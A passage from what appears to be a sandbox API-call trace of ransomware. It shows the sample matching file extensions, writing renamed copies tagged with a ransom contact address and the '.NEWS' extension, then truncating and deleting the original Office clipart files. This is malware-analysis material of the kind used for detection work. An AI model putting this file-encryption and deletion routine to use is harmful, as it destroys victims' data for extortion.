[0077.611] lstrlenW (lpString=".doc") returned 4 [0077.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.611] lstrlenW (lpString=".docx") returned 5 [0077.611] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.611] lstrlenW (lpString=".pdf") returned 4 [0077.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.611] lstrlenW (lpString=".xls") returned 4 [0077.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.611] lstrlenW (lpString=".xlsx") returned 5 [0077.611] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.611] lstrlenW (lpString=".ppt") returned 4 [0077.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0077.611] lstrlenW (lpString=".zip") returned 4 [0077.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.611] lstrlenW (lpString=".rar") returned 4 [0077.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.612] lstrlenW (lpString=".bz2") returned 4 [0077.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.612] lstrlenW (lpString=".7z") returned 3 [0077.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0077.612] lstrlenW (lpString=".dbf") returned 4 [0077.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0077.612] lstrlenW (lpString=".1cd") returned 4 [0077.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0077.612] lstrlenW (lpString=".jpg") returned 4 [0077.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.612] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.612] lstrlenW (lpString="BD00155_.WMF") returned 12 [0077.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0077.612] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=11636) returned 1 [0077.612] CloseHandle (hObject=0x384) returned 1 [0077.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x220 [0077.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0077.613] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.613] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0077.613] GetLastError () returned 0x0 [0077.613] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x2d74, lpOverlapped=0x0) returned 1 [0077.615] WriteFile (in: hFile=0x33c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0077.616] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.616] WriteFile (in: hFile=0x33c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.616] SetEndOfFile (hFile=0x33c) returned 1 [0077.616] CloseHandle (hObject=0x33c) returned 1 [0077.617] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.617] SetEndOfFile (hFile=0x384) returned 1 [0077.618] CloseHandle (hObject=0x384) returned 1 [0077.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0077.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0077.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0077.619] lstrlenW (lpString=".doc") returned 4 [0077.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.619] lstrlenW (lpString=".docx") returned 5 [0077.619] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.619] lstrlenW (lpString=".pdf") returned 4 [0077.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.619] lstrlenW (lpString=".xls") returned 4 [0077.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.619] lstrlenW (lpString=".xlsx") returned 5 [0077.619] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.619] lstrlenW (lpString=".ppt") returned 4 [0077.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0077.619] lstrlenW (lpString=".zip") returned 4 [0077.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.619] lstrlenW (lpString=".rar") returned 4 [0077.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.619] lstrlenW (lpString=".bz2") returned 4 [0077.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.619] lstrlenW (lpString=".7z") returned 3 [0077.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0077.619] lstrlenW (lpString=".dbf") returned 4 [0077.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0077.620] lstrlenW (lpString=".1cd") returned 4 [0077.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0077.620] lstrlenW (lpString=".jpg") returned 4 [0077.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0077.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0077.620] lstrlenW (lpString=".doc") returned 4 [0077.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.620] lstrlenW (lpString=".docx") returned 5 [0077.620] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.620] lstrlenW (lpString=".pdf") returned 4 [0077.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.620] lstrlenW (lpString=".xls") returned 4 [0077.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.620] lstrlenW (lpString=".xlsx") returned 5 [0077.620] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.620] lstrlenW (lpString=".ppt") returned 4 [0077.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0077.620] lstrlenW (lpString=".zip") returned 4 [0077.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.620] lstrlenW (lpString=".rar") returned 4 [0077.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.620] lstrlenW (lpString=".bz2") returned 4 [0077.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.620] lstrlenW (lpString=".7z") returned 3 [0077.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0077.620] lstrlenW (lpString=".dbf") returned 4 [0077.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0077.620] lstrlenW (lpString=".1cd") returned 4 [0077.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0077.621] lstrlenW (lpString=".jpg") returned 4 [0077.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.621] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.621] lstrlenW (lpString="BD00160_.WMF") returned 12 [0077.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0077.621] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=22516) returned 1 [0077.621] CloseHandle (hObject=0x384) returned 1 [0077.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x220 [0077.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0077.621] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.622] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0077.622] GetLastError () returned 0x0 [0077.622] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x57f4, lpOverlapped=0x0) returned 1 [0078.164] WriteFile (in: hFile=0x33c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x5800, lpOverlapped=0x0) returned 1 [0078.165] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.166] WriteFile (in: hFile=0x33c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.166] SetEndOfFile (hFile=0x33c) returned 1 [0078.166] CloseHandle (hObject=0x33c) returned 1 [0078.168] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.168] SetEndOfFile (hFile=0x384) returned 1 [0078.168] CloseHandle (hObject=0x384) returned 1 [0078.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0078.169] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0078.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0078.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0078.337] lstrlenW (lpString=".doc") returned 4 [0078.337] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.337] lstrlenW (lpString=".docx") returned 5 [0078.337] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.337] lstrlenW (lpString=".pdf") returned 4 [0078.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.337] lstrlenW (lpString=".xls") returned 4 [0078.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.337] lstrlenW (lpString=".xlsx") returned 5 [0078.337] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.337] lstrlenW (lpString=".ppt") returned 4 [0078.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0078.337] lstrlenW (lpString=".zip") returned 4 [0078.338] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.338] lstrlenW (lpString=".rar") returned 4 [0078.338] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.338] lstrlenW (lpString=".bz2") returned 4 [0078.338] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.338] lstrlenW (lpString=".7z") returned 3 [0078.338] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0078.338] lstrlenW (lpString=".dbf") returned 4 [0078.338] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0078.338] lstrlenW (lpString=".1cd") returned 4 [0078.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0078.338] lstrlenW (lpString=".jpg") returned 4 [0078.338] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0078.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0078.338] lstrlenW (lpString=".doc") returned 4 [0078.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.338] lstrlenW (lpString=".docx") returned 5 [0078.338] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.338] lstrlenW (lpString=".pdf") returned 4 [0078.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.338] lstrlenW (lpString=".xls") returned 4 [0078.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.339] lstrlenW (lpString=".xlsx") returned 5 [0078.339] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.339] lstrlenW (lpString=".ppt") returned 4 [0078.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0078.339] lstrlenW (lpString=".zip") returned 4 [0078.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.339] lstrlenW (lpString=".rar") returned 4 [0078.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.339] lstrlenW (lpString=".bz2") returned 4 [0078.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.339] lstrlenW (lpString=".7z") returned 3 [0078.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0078.339] lstrlenW (lpString=".dbf") returned 4 [0078.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0078.339] lstrlenW (lpString=".1cd") returned 4 [0078.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0078.339] lstrlenW (lpString=".jpg") returned 4 [0078.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.339] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0078.339] lstrlenW (lpString="BD09194_.WMF") returned 12 [0078.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0078.341] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=14540) returned 1 [0078.341] CloseHandle (hObject=0x384) returned 1 [0078.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x220 [0078.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0078.341] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.341] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0078.342] GetLastError () returned 0x0 [0078.342] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x38cc, lpOverlapped=0x0) returned 1 [0078.343] WriteFile (in: hFile=0x33c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x38d0, lpOverlapped=0x0) returned 1 [0078.344] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.344] WriteFile (in: hFile=0x33c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.344] SetEndOfFile (hFile=0x33c) returned 1 [0078.344] CloseHandle (hObject=0x33c) returned 1 [0078.346] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.346] SetEndOfFile (hFile=0x384) returned 1 [0078.347] CloseHandle (hObject=0x384) returned 1 [0078.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0078.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0078.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0078.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0078.347] lstrlenW (lpString=".doc") returned 4 [0078.347] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.347] lstrlenW (lpString=".docx") returned 5 [0078.347] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.347] lstrlenW (lpString=".pdf") returned 4 [0078.347] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.347] lstrlenW (lpString=".xls") returned 4 [0078.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.348] lstrlenW (lpString=".xlsx") returned 5 [0078.348] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.348] lstrlenW (lpString=".ppt") returned 4 [0078.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0078.348] lstrlenW (lpString=".zip") returned 4 [0078.348] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.348] lstrlenW (lpString=".rar") returned 4 [0078.348] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.348] lstrlenW (lpString=".bz2") returned 4 [0078.348] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.348] lstrlenW (lpString=".7z") returned 3 [0078.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0078.348] lstrlenW (lpString=".dbf") returned 4 [0078.348] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0078.348] lstrlenW (lpString=".1cd") returned 4 [0078.348] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0078.348] lstrlenW (lpString=".jpg") returned 4 [0078.348] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0078.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0078.348] lstrlenW (lpString=".doc") returned 4 [0078.348] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.348] lstrlenW (lpString=".docx") returned 5 [0078.348] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.348] lstrlenW (lpString=".pdf") returned 4 [0078.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.348] lstrlenW (lpString=".xls") returned 4 [0078.348] lstrcmpiW 